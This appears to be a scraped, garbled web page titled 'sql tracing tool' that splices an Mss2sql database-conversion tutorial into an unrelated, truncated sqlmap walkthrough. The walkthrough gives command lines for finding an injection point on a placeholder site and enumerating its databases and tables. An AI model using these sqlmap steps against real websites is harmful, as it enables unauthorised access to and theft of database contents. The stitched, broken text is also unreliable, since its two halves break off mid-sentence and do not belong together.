sql tracing tool

Label:Reprint: http://www.cnblogs.com/angestudy/archive/2012/06/04/2533548.htmlMss2sql:http://files.cnblogs.com/andrew-blog/mss2sql.rarTo open a compressed package after downloadRun Mss2sqlThe default is move to MysQL server directly, select NextGo on, wait a minute.This time it is necessary to connect to MySQL server, I am local, so choose Local, fill in your username and passwordContinue waiting for connectionSelect the database that needs to be converted in MS SQLClick Next, if MySQL has the

1.Check injection point"The injection point needs to be found on its own, with tools such as:Acunetix Web VulnerabilityScanner (WVS), AppScan, etc. "u means URL. Sqlmap-u http://www.XXXXX.com/a.asp?p=182.List Database Information"Sqlmap will help us list all the names, including the database type"Sqlmap-u www.XXXXX.com/a.asp?p=18--dbs3.specifies that the database is listed in all tablesSqlmap-u Www.XXXXX.com/a.asp?p=18-D database name --tablesResults:4.lists all fields of the specified table fo